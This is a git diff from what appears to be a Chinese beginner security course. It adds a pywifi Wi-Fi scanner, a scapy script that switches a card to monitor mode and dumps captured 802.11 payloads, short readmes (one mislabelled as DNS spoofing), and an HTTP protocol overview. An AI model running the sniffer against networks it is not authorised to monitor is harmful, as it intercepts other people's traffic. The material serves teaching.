DNS\346\254\272\351\252\227/img/4.png" "b/3.8 DNS\346\254\272\351\252\227/img/4.png" new file mode 100644 index 0000000..f6cd9d6 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/4.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/5.png" "b/3.8 DNS\346\254\272\351\252\227/img/5.png" new file mode 100644 index 0000000..cf85b98 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/5.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/6.png" "b/3.8 DNS\346\254\272\351\252\227/img/6.png" new file mode 100644 index 0000000..9d9ea45 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/6.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/7.png" "b/3.8 DNS\346\254\272\351\252\227/img/7.png" new file mode 100644 index 0000000..995168c Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/7.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/8.png" "b/3.8 DNS\346\254\272\351\252\227/img/8.png" new file mode 100644 index 0000000..78d913e Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/8.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/9.jpg" "b/3.8 DNS\346\254\272\351\252\227/img/9.jpg" new file mode 100644 index 0000000..4d293f3 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/9.jpg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/9.png" "b/3.8 DNS\346\254\272\351\252\227/img/9.png" new file mode 100644 index 0000000..271feb8 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/9.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/readme.md" "b/3.8 DNS\346\254\272\351\252\227/readme.md" new file mode 100644 index 0000000..319aaf3 --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/readme.md" @@ -0,0 +1,21 @@ +## 3.8 DNS欺骗 + +[点击下载本节pdf](https://t.zsxq.com/eAaIuBm) + +下一节,我们一同学习本章的最后一节无线网络嗅探。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" new file mode 100644 index 0000000..518066f --- /dev/null +++ "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +import pywifi + +def bies(): + wifi=pywifi.PyWiFi()#创建一个无限对象 + ifaces=wifi.interfaces()[0]#取一个无线网卡 + ifaces.scan()#扫描 + bessis=ifaces.scan_results() + for i in range(len(bessis)): + print(bessis[i].ssid, bessis[i].signal) + + +bies() \ No newline at end of file diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" new file mode 100644 index 0000000..ba60c65 --- /dev/null +++ "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanSniffer.py" @@ -0,0 +1,30 @@ +import os +from scapy.all import * + +iface = "en0" + +os.system("/usr/sbin/iwconfig " + iface + " mode monitor") + +# Dump packets that are not beacons, probe request / responses +def dump_packet(pkt): + if not pkt.haslayer(Dot11Beacon) and \ + not pkt.haslayer(Dot11ProbeReq) and \ + not pkt.haslayer(Dot11ProbeResp): + print(pkt.summary()) + + if pkt.haslayer(Raw): + print(hexdump(pkt.load)) + print("\n") + + +while True: + for channel in range(1, 14): + os.system("/usr/sbin/iwconfig " + iface + \ + " channel " + str(channel)) + print("Sniffing on channel " + str(channel)) + + sniff(iface=iface, + prn=dump_packet, + count=10, + timeout=3, + store=0) \ No newline at end of file diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/0.jpg" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/00.jpeg" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" new file mode 100644 index 0000000..a0435cc Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/1.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" new file mode 100644 index 0000000..11952da Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/2.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" new file mode 100644 index 0000000..9bdcac7 Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/3.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" new file mode 100644 index 0000000..27e389b Binary files /dev/null and "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/img/4.png" differ diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" new file mode 100644 index 0000000..471d019 --- /dev/null +++ "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/readme.md" @@ -0,0 +1,15 @@ +## 3.9 DNS欺骗 + + +[点击下载本节pdf](https://t.zsxq.com/ZnUvvJ2) + +下一节开始,我们开始学习 web 安全。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) \ No newline at end of file diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" new file mode 100644 index 0000000..2f0b12e Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/2.2.pdf" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0 copy.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/0.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00 copy.jpeg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/00.jpeg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" new file mode 100644 index 0000000..fdf5aad Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/1.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" new file mode 100644 index 0000000..a47d842 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/10.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" new file mode 100644 index 0000000..25d3102 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/11.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" new file mode 100644 index 0000000..61f621a Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/12.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" new file mode 100644 index 0000000..3b8ef29 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/13.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" new file mode 100644 index 0000000..2c75b01 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/2.png" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" new file mode 100644 index 0000000..c0d894b Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/3.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" new file mode 100644 index 0000000..f3dbc79 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/4.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" new file mode 100644 index 0000000..7aacd01 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/5.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" new file mode 100644 index 0000000..985f486 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/6.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" new file mode 100644 index 0000000..f85a400 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/7.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" new file mode 100644 index 0000000..37b6779 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/8.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" new file mode 100644 index 0000000..e30b328 Binary files /dev/null and "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/img/9.jpg" differ diff --git "a/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" new file mode 100644 index 0000000..eeda0f5 --- /dev/null +++ "b/4.1 \345\215\217\350\256\256\346\246\202\350\247\210/readme.md" @@ -0,0 +1,396 @@ +## 协议概览 + +Web应用已经是当前互联网上数量最多、应用最广的应用形式了,Web 安全问题也是计算机网络安全中关注度最高的领域。Web应用起源于HTTP协议。由于HTTP是纯文本传输协议,无法加密传输数据,在此基础上出现了HTTPS、SSL。随着Web应用的发展,又推出了全双工通信的WebSocket协议。如今HTTP协议更新换代,HTTP/2标准正在越来越多的被支持。 + +理解Web安全,首先要从理解协议开始。本节对笔者认为应该重点了解的Web协议做一个概览性描述。更细节的内容,还需要大家去阅读规范文档或者书籍。 + +### 4.1.1 HTTP 协议 + +HTTP协议(或超文本传输​​协议)是用于在因特网上传输文件的网络协议。它是一种无状态协议,不仅可用于发送文件,还可用于发送资源(如动态生成的查询结果,CGI脚本的输出和其他数据)。HTTP资源由统一资源标识符(URI)或统一资源定位符(或URL)标识并位于Internet上。 + +HTTP/1.1 是当前版本主要应用的HTTP版本,是对 HTTP/1.0 的修订。HTTP/1.1 允许传输流数据。在 [W3C网站](https://www.w3.org/Protocols/rfc2616/rfc2616.html)可以阅读 HTTP/1.1 的详细内容。 + +HTTP协议具有设备无关性,可以从各种类型的主机和客户端之间进行通信。主机和客户端之间的通信通过 请求(Request)/响应(Response) 进行。 + +![](./img/1.jpg) + +Web浏览器是HTTP客户端,因为它将请求发送到HTTP服务器(或Web服务器),然后HTTP服务器使用所需资源响应浏览器。 + +在发送HTTP请求之前,浏览器会先和服务端建立TCP连接(通常是80端口)。HTTP Server 在预定义端口上的等待客户端消息。请求由状态行和消息体组成。消息正文作为请求的资源返回,也可能返回错误消息或其他信息。 + +客户端使用“请求方法”向HTTP服务器发送请求消息。 +![](./img/2.png) + +如上图,使用Chrome浏览的开发者工具可以很方便的查看HTTP请求和响应的信息。 + +HTTP协议指定的“请求方法”如下: + +
+
GET
+
GET方法请求一个指定资源的表示形式. 使用GET的请求应该只被用于获取数据.
+
HEAD
+
HEAD方法请求一个与GET请求的响应相同的响应,但没有响应体.
+
POST
+
POST方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用. 
+
PUT
+
PUT方法用请求有效载荷替换目标资源的所有当前表示。
+
DELETE
+
DELETE方法删除指定的资源。
+
CONNECT
+
CONNECT方法建立一个到由目标资源标识的服务器的隧道。
+
OPTIONS
+
OPTIONS方法用于描述目标资源的通信选项。
+
TRACE
+
TRACE方法沿着到目标资源的路径执行一个消息环回测试。
+
PATCH
+
PATCH方法用于对资源应用部分修改。
+
+ +
+
+ +HTTP响应的第一行称为状态行。状态行包括数字状态代码和原因短语。状态代码可帮助客户端解释从服务器收到的响应。下面列出了一些以1,2,3,4和5号开头的最常用的状态码。以下内容来自MDN(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status) + +--- + +#### 信息响应 + +
+
100 Continue
+
这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。
+
101 Switching Protocol
+
该代码是响应客户端的 Upgrade 标头发送的,并且指示服务器也正在切换的协议。
+
102 Processing (WebDAV)
+
此代码表示服务器已收到并正在处理该请求,但没有响应可用。
+
103 Early Hints 
+
此状态代码主要用于与Link 链接头一起使用,以允许用户代理在服务器仍在准备响应时开始预加载资源。
+
+ +#### 成功响应 + +
+
200 OK
+
+

请求成功。成功的含义取决于HTTP方法:

+ +
    +
  • GET:资源已被提取并在消息正文中传输。
  • +
  • HEAD:实体标头位于消息正文中。
  • +
  • POST:描述动作结果的资源在消息体中传输。
  • +
  • TRACE:消息正文包含服务器收到的请求消息
  • +
+
+
201 Created
+
该请求已成功,并因此创建了一个新的资源。这通常是在POST请求,或是某些PUT请求之后返回的响应。
+
202 Accepted
+
请求已经接收到,但还未响应,没有结果。意味着不会有一个异步的响应去表明当前请求的结果,预期另外的进程和服务去处理请求,或者批处理。
+
203 Non-Authoritative Information
+
服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的。
+
204 No Content
+
服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。
+
205 Reset Content
+
服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
+
206 Partial Content
+
服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或者迅雷这类的 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。
+
207 Multi-Status (WebDAV)
+
由WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。
+
208 Multi-Status (WebDAV)
+
在 DAV 里面使用: propstat 响应元素以避免重复枚举多个绑定的内部成员到同一个集合。
+
226 IM Used (HTTP Delta encoding)
+
服务器已经完成了对资源的 GET 请求,并且响应是对当前实例应用的一个或多个实例操作结果的表示。
+
+ +#### 重定向 + +
+
300 Multiple Choice
+
被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。
+
301 Moved Permanently
+
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
+
302 Found
+
请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
+
303 See Other
+
对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。
+
304 Not Modified
+
如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。
+
305 Use Proxy
+
被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。
+
306 unused
+
在最新版的规范中,306 状态码已经不再被使用。
+
307 Temporary Redirect
+
请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
+
308 Permanent Redirect
+
这意味着资源现在永久位于由 Location: HTTP Response 标头指定的另一个 URI。 这与 301 Moved Permanently HTTP 响应代码具有相同的语义,但用户代理不能更改所使用的 HTTP 方法:如果在第一个请求中使用 POST,则必须在第二个请求中使用 POST
+
+ + +#### 客户端请求错误 + +
+
400 Bad Request
+
1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
+
2、请求参数有误。
+
401 Unauthorized
+
当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。
+
402 Payment Required
+
此响应码保留以便将来使用,创造此响应码的最初目的是用于数字支付系统,然而现在并未使用。
+
403 Forbidden
+
服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应,假如它不希望让客户端获得任何信息。
+
404 Not Found
+
请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下。
+
405 Method Not Allowed
+
请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 鉴于 PUT,DELETE 方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误。
+
406 Not Acceptable
+
请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。
+
407 Proxy Authentication Required
+
与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。
+
408 Request Timeout
+
请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。
+
409 Conflict
+
由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。
+
410 Gone
+
被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用 404 状态码。除非额外说明,否则这个响应是可缓存的。
+
411 Length Required
+
服务器拒绝在没有定义 Content-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头之后,客户端可以再次提交该请求。
+
412 Precondition Failed
+
服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
+
413 Payload Too Large
+
服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试。
+
414 URI Too Long
+
请求的URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。
+
415 Unsupported Media Type
+
对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。
+
416 Requested Range Not Satisfiable
+
如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回416状态码。
+
417 Expectation Failed
+
此响应代码意味着服务器无法满足 Expect 请求标头字段指示的期望值。
+
418 I'm a teapot
+
服务器拒绝尝试用 茶壶冲泡咖啡
+
421 Misdirected Request
+
该请求针对的是无法产生响应的服务器。 这可以由服务器发送,该服务器未配置为针对包含在请求 URI 中的方案和权限的组合产生响应。
+
422 Unprocessable Entity (WebDAV)
+
请求格式良好,但由于语义错误而无法遵循。
+
423 Locked (WebDAV)
+
正在访问的资源被锁定。
+
424 Failed Dependency (WebDAV)
+
由于先前的请求失败,所以此次请求失败。
+
425 Too Early
+
服务器不愿意冒着风险去处理可能重播的请求。
+
+
426 Upgrade Required
+
服务器拒绝使用当前协议执行请求,但可能在客户机升级到其他协议后愿意这样做。 服务器在 426 响应中发送 Upgrade 头以指示所需的协议。
+
428 Precondition Required
+
原始服务器要求该请求是有条件的。 旨在防止“丢失更新”问题,即客户端获取资源状态,修改该状态并将其返回服务器,同时第三方修改服务器上的状态,从而导致冲突。
+
429 Too Many Requests
+
用户在给定的时间内发送了太多请求(“限制请求速率”)。
+
431 Request Header Fields Too Large
+
服务器不愿意处理请求,因为它的 请求头字段太大( Request Header Fields Too Large)。 请求可以在减小请求头字段的大小后重新提交。
+
451 Unavailable For Legal Reasons
+
用户请求非法资源,例如:由政府审查的网页。
+
+ +#### 服务端响应错误 + +
+
500 Internal Server Error
+
服务器遇到了不知道如何处理的情况。
+
501 Not Implemented
+
此请求方法不被服务器支持且无法被处理。只有GETHEAD是要求服务器支持的,它们必定不会返回此错误代码。
+
502 Bad Gateway
+
此错误响应表明服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应。
+
503 Service Unavailable
+
服务器没有准备好处理请求。 常见原因是服务器因维护或重载而停机。 请注意,与此响应一起,应发送解释问题的用户友好页面。 这个响应应该用于临时条件和 Retry-After:如果可能的话,HTTP头应该包含恢复服务之前的估计时间。 网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。
+
504 Gateway Timeout
+
当服务器作为网关,不能及时得到响应时返回此错误代码。
+
505 HTTP Version Not Supported
+
服务器不支持请求中所使用的HTTP协议版本。
+
506 Variant Also Negotiates
+
服务器有一个内部配置错误:对请求的透明内容协商导致循环引用。
+
507 Insufficient Storage
+
服务器有内部配置错误:所选的变体资源被配置为参与透明内容协商本身,因此不是协商过程中的适当端点。
+
508 Loop Detected (WebDAV)
+
服务器在处理请求时检测到无限循环。
+
510 Not Extended
+
客户端需要对请求进一步扩展,服务器才能实现它。服务器会回复客户端发出扩展请求所需的所有信息。
+
511 Network Authentication Required
+
511 状态码指示客户端需要进行身份验证才能获得网络访问权限。
+
+ +--- + +根据HTTP规范,请求或响应消息具有特定结构。通用结构如下所示: + +![](./img/3.jpg) + +必须在消息HTTP标头和正文之间放置新行。可以有一个或多个HTTP标头,如: + +``` +General Headers +Request Specific Headers +Response Specific Headers +Entity Headers +``` + +很少的几个头可以被请求和响应公共: + +![](./img/4.jpg) + +实体标头提供有正文的元信息。看起来像: + +![](./img/5.jpg) + +虽然HTTP支持自定义头,但它只查找请求和响应头。 + +请求消息具有通用结构。如下所示: + +![](./img/6.jpg) + +下图是一个简单示例: + +![](./img/7.jpg) + +响应格式结构类似于请求消息。仅状态行和标头与请求消息不同。状态行结构如下: + +![](./img/8.jpg) + +成功消息的状态行如下所示: + +``` +HTTP/1.1 200 OK +``` + +完整的响应头看起来像: + +![](./img/9.jpg) + +### 4.1.2 Web 服务(Web Services) + +援引维基百科上的定义:\ +“ +Web服务是一种服务导向架构的技术,通过标准的Web协议提供服务,目的是保证不同平台的应用服务可以互操作。 + +根据W3C的定义,Web服务(Web service)应当是一个软件系统,用以支持网络间不同机器的互动操作。网络服务通常是许多应用程序接口(API)所组成的,它们透过网络,例如国际互联网(Internet)的远程服务器端,执行客户所提交服务的请求。 +” + +一个Web服务必须满足以下条件: +1. 可以通过网络搜索Web服务,也可以被调用。 +2. 调用时,Web服务将能够为调用该Web服务的客户端提供功能。 + + +WEB服务实际上是一组工具,并有多种不同的方法调用之。三种最普遍的手段是:远程过程调用(RPC),服务导向架构(SOA)以及表述性状态转移(REST)。 + +**远程过程调用:** + +WEB服务提供一个分布式函数或方法接口供用户调用,这是一种比较传统的方式。通常,在WSDL中对RPC接口进行定义(类似于早期的XML-RPC)。 + +尽管最初的WEB服务广泛采用RPC方式部署,但针对其过于紧密之耦合性的批评声也随之不断。这是因为RPC式WEB服务实质上是利用一个简单的映射,以把用户请求直接转化成为一个特定语言编写的函数或方法。如今,多数服务提供商认定此种方式在未来将难有作为,在他们的推动下,WS-I基本协议集(WS-I Basic Profile)已不再支持远程过程调用。 + +**服务导向架构:** + +现在,业界比较关注的是遵从服务导向架构(Service-oriented architecture,SOA)概念来构筑WEB服务。在服务导向架构中,通讯由消息驱动,而不再是某个动作(方法调用)。这种WEB服务也被称作面向消息的服务。 + +SOA式WEB服务得到了大部分主要软件供应商以及业界专家的支持和肯定。作为与RPC方式的最大差别,SOA方式更加关注如何去连接服务而不是去特定某个实现的细节。WSDL定义了联络服务的必要内容。 + +**表述性状态转移:** 